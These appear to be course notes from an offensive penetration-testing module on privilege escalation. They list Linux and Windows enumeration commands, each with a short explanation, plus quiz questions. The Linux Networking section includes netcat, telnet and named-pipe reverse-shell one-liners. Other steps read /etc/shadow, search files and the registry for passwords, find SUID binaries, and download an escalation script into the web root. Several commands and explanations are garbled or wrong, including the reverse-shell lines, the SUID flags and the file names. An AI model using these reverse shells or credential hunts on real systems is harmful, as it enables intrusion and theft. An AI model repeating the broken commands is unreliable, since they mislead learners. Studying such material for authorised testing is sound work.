Offensive Penetration Testing Module 7 Privilege Escalation

Linux OS

Instructor: Alejandro Guinea

Teaching Assistant: Tahir Ibrahim

Description: Learn privilege escalation in a Linux environment

Requirements: Students will need a paid Cybrary subscription to access the material for the lab and download extra resources on the resource list to follow along with the instructor

Step 1: In the Kali Linux terminal type: cat /etc/issue

- Find the versions of the OS

Step 2: cat /proc/version

- The OS release, kernel and distribution use, GCC compiler version

Step 3: uname -a

- Unix name, name and details of the machine

Step 4: whoami

- shows you who are signed in as

Step 5: cat /etc/password

- Shows a list of users

Step 6: cat /etc/issue

- Tells you what the issue version of the OS is

Step 7: dmesg | grep Linux

- shows you the ring buffer

Step 8: ls /boot/ | grep vmlinuz

- boot folder contains all the related boot files, vmlinuz also known as the kernel

Step 9: cat /etc/profile

- shows the profile file for the Linux system

Step 10: cat ~/.bashrc

- shell script, interacts a shell session, can customise the file too

Step 11: cat ~/.bash_logout

- login out the Linux system using a bash shell can customize to do activities when logging out

Step 12: env

- shows you the environment variables

Step 13: set

- Can modify the variables

Step 14: lpstat -a

- looks for printers on the network, checks the status of the lp service, pending print jobs..etc

Question 1: What command will show a list of users in a Linux environment?

Question 2: What command can you type in the terminal to show you what user you are logged in as?

Offensive Penetration Testing Module 7 Privilege Escalation

Linux Applications & Services

Instructor: Alejandro Guinea

Teaching Assistant: Tahir Ibrahim

Description: Learn privilege escalation in a Linux environment

Requirements: Students will need a paid Cybrary subscription to access the material for the lab and download extra resources on the resource list to follow along with the instructor

Step 1: ps aux

- Shows all the processors running for the user

Step 2: ps -auroot

- Shows a list of processes for the root user

Step 3: ps -ef

- Shows every process currently running on the OS (-e), the (-f) option shows fewer items of information for the basics

Step 4: top

- dynamic real-time processor usage with a summary

Step 5: cat /etc/services

- Shows information about the services and ports to cross-reference what services are running on which port

Step 6: netstat -antp

- Shows a list of current services that are running in real-time

Step 7: ls -alh /usr/bin/

- list everything in the /usr/bin folder, (-a) do not ignore entries that start with a point, (-l) long list format, (-h) print in a human-readable format.
- The /use/bin folder mostly contain executable files/programs

Step 8: ls -alh /sbin/

- This folder contains administrative executable programs/files

Step 9: dpkg -l

- Shows a list of packages installed on the system

Step 10: cat /etc/apache2/apache2.conf

- Checks configurations and extensions to look for any vulnerable ones

Step 11: crontab -l

- Shows the crontab list

Step 12: ls -alh /var/spool/cron

- Shows the crontab folder

Step 13: grep -iRl “pass” /

- Checks all the files/folders with the word ‘pass’, (-i) ignore the text case, (R) Check files instead of directories, (l) show file names and paths instead of contents

Question 1: How can you bring up dynamic real-time processors with a summary?

Question 2: Using the terminal, how do you search for administrative executable programs

Offensive Penetration Testing Module 7 Privilege Escalation

Linux Files

Instructor: Alejandro Guinea

Teaching Assistant: Tahir Ibrahim

Description: Learn privilege escalation in a Linux environment

Requirements: Students will need a paid Cybrary subscription to access the material for the lab and download extra resources on the resource list to follow along with the instructor

Step 1: find /etc/ -readable -type f 2>/dev/null

- looks for a config file that can be written/readable by anyone

Step 2: ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null

- Looks for config files which are read/writeable by anyone

Step 3: ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null

- Searches read/writeable files by a specific group/owner

Step 4: ls -alh /var/log

- search the var directory for logs

Step 5: ls -alh /var/lib/mysql

- Search for files in the MySQL folder

Step 6: ls -alh /var/www/

- Searches the apache directory for any open files

Step 7: cat /etc/httpd/logs/access_log

- opens up the access logs

Step 8: cat /var/www/admin/

- shows the admin files of the webserver

Step 9: python -c 'import pty;pty.spawn("/bin/bash")'

- import python

Step 10: mount

- shows any mount points

Step 11: df -h

- Disk free

Step 12: cat /etc/fstab

- shows all disk partitions, available disks and options

Step 13: find / -perm -1000 -type d 2>/dev/null

- SUID/GUID

Step 14: find / -perm -g=s -type f 2>/dev/null

Step 15: for i in 'locate -r "bin$"'; do find $i \(-perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done

- create a for look, that looks in bin, sbin, user local sbin to find anything with a sticky bit (SUID)

Step 16: find / -writable -type d 2>/dev/null

- Finds writable files

Step 17: find / -perm -222 -type d 2>/dev/null

Step 18: find / -xdev -type d \(-perm -0002 -a ! -perm -1000 \) -print

- finds more writable files

Question 1: What command in the Linux terminal that will show you all the disk partitions?

Question 2: Where can you find the web server admin file?

Offensive Penetration Testing Module 7 Privilege Escalation

Linux Networking

Instructor: Alejandro Guinea

Teaching Assistant: Tahir Ibrahim

Description: Learn privilege escalation in a Linux environment

Requirements: Students will need a paid Cybrary subscription to access the material for the lab and download extra resources on the resource list to follow along with the instructor

Step 1: /sbin/ifconfig -a

- The ifconfig command directory, which is the network configuration

Step 2: cat /etc/interfaces.d*

- configuring network settings/interfaces

Step 3: cat /etc/sysconfig/network, (locate network)

- network files

Step 4: cat /etc/resolv.conf

- the name server and DNS resolver

Step 5: cat /etc/sysctl.conf

- allows you to run a Linux kernal, by configuring the Linux settings

Step 6: cat /etc/networks

- ipranges and network names, used for tools like netstat and route

Step 7: iptables -L

- shows the firewall rules

Step 8: hostname

- gives the name of the host

Step 9: grep 80 /etc/services

cat /etc/services | grep 80

- looks for services on a given port

Step 10: netstat -antup

netstat -antpx

netstat -tulpn

- uses netstat flags to get more information about what ports are open and what services are running or location, processor IDs..etc

Step 11: last

- last logged in from users

Step 12: w

- whos logged on and what they doing

Step 13: route

/sbin/route -nee

- can be used to manipulate the IP table

Step 14: nc -nlvp 1234

- uses Netcat to listen on port 1234

Step 15: nc 192.168.0.1 1234

- connects to the port that netcat is listening on, which then creates a shell

Step 16: telnet 10.0.0.1 4444 | /bin/sh | 10.0.0.2 1234

- reverse shell with telnet

Step 17: mknod backpipe p ; -l -p 4444 < backpipe | nc 10.0.0.1 80 > backpipe

- used to get a reverse shell

Question 1: What is achieved using the telnet service?

Question 2: How can you get the DNS resolver information

Offensive Penetration Testing Module 7 Privilege Escalation

Linux Misconfigurations for Confidential Information

Instructor: Alejandro Guinea

Teaching Assistant: Tahir Ibrahim

Description: Learn privilege escalation in a Linux environment

Requirements: Students will need a paid Cybrary subscription to access the material for the lab and download extra resources on the resource list to follow along with the instructor

Step 1: id

- shows the user id and the group id you are using

Step 2: who

- Shows user information about the user logged in

Step 3: cat /etc/passwd | cut -d: -f1

- finds a list of users

Step 4: grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'

- Finds all the super users

Step 5: cat /etc/sudoers

- shows the sudo files and the users

Step 6: cat /etc/group

- shows a list of users groups

Step 7: cat /etc/shadow

- List of hashed passwords

Step 8: ls -alh /var/mail

- Users mail box files

Step 9: ls -ahlR /root/

- The root folder

Step 10: ls -alh /home/

- shows the home folder

Step 11: cat ~/. cat ~/.bash_history cat ~/.bash_logout cat ~/.bashrc

- useful information to look at to look to see what history and log out files

Step 12: cat /etc/ssh/ cat /etc/ssh/config cat /etc/ssh/ssh_host_dsa_key.pub

- information about the ssh service

Step 13: wget https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py -o /var/www/html/linux.py

- downloads a Linux privilege escalation script

Question 1: Where is there a list of hashed passwords?

Question 2: How can you find a list of super users?

Offensive Penetration Testing Module 7 Privilege Escalation

Windows OS

Instructor: Alejandro Guinea

Teaching Assistant: Tahir Ibrahim

Description: Learn privilege escalation in a Windows environment

Requirements: Students will need a paid Cybrary subscription to access the material for the lab and download extra resources on the resource list to follow along with the instructor

Step 1: systeminfo

- Shows system information of the operating system

Step 2: systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

- Looking for specific information like the OS name and the OS version

Step 3: hostname

- Shows the name of the host

Step 4: whoami

- Shows what user is you are

Step 5: echo %username%

- Shows username

Step 6: net users

- Shows admins and guest users

Step 7: user <username>

- Shows all information about that user

Step 8: ipconfig ipconfig /all

- Shows network information

Step 9: route print

- Shows the routing table

Step 10: arp -A

- Shows the ARP table

Step 11: netstat -anob

- Listing active connections

Step 12: netsh firewall show state

- Shows the state of firewall and information

Step 13: netsh advfirewall firewall

- Shows firewall information

Step 14: netsh firewall show config

- Shows configurations of the firewall

Step 15: schtasks /query /fo LIST /v

- Shows a list of tasks

Step 16: tasklist /SVC

- Shows a list of running processors

Step 17: net start

- More information about services and processors running

Step 18: DRIVERQUERY

- List of drivers

Question 1: What is achieved bt the netstat -anob command?

Question 2: How can you find the firewall configurations

Offensive Penetration Testing Module 7 Privilege Escalation

Windows WMIC (Windows Management Instrumentation Command-Line)

Instructor: Alejandro Guinea

Teaching Assistant: Tahir Ibrahim

Description: Learn privilege escalation in a Windows environment

Requirements: Students will need a paid Cybrary subscription to access the material for the lab and download extra resources on the resource list to follow along with the instructor

Step 1: wmic /?

- Shows a list of commands that can be used in WMIC

Step 2: wmic qfe get Caption,Description,HotFixID,Installedon

- Shows patches that have been installed

Step 3: Systeminfo

- Shows system information

Step 4: wmic qfe get Caption,Description,HotFixID,Installedon | findstr /C: “KB4504369”

- Looks for a specific patch using the HotFixID

Step 5: reg query HKLM\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

- Always install elevated, allows users to install packages as an admin

Step 6: dir /s *pass* == *creds*

- Finding file names that contain keywords

Step 7: findstr /si password *.xml

findstr /si password *.ini

findstr /si password *.txt

- Looks for file extensions

Step 8: reg query HKLM /f password /t REG_SZ /s

- Looks for keyword passwords

Question 1: Whats achieved using the find string command?

Question 2: How can you query the registry?

Offensive Penetration Testing Module 7 Privilege Escalation

Windows Application and Services

Instructor: Alejandro Guinea

Teaching Assistant: Tahir Ibrahim

Description: Learn privilege escalation in a Windows environment

Requirements: Students will need a paid Cybrary subscription to access the material for the lab and download extra resources on the resource list to follow along with the instructor

Step 1: sc qc Spooler

- Query, configure, manage services

Step 2: accesschk.exe -ucqv Spooler

- See permissions

Step 3: accesschk.exe -uwcqv "Authenticated Users" *

- Checks for any authenticated users

Step 4: accesschk.exe -qwsu "Everyone" *

- Checks for every user with using different flags

Step 5: Set-ExecutionPolicy RemoteSigned

- Can run scripts in PowerShell

Question 1: How do you check services?

Question 2: How can it be achieved by searching for authenticated users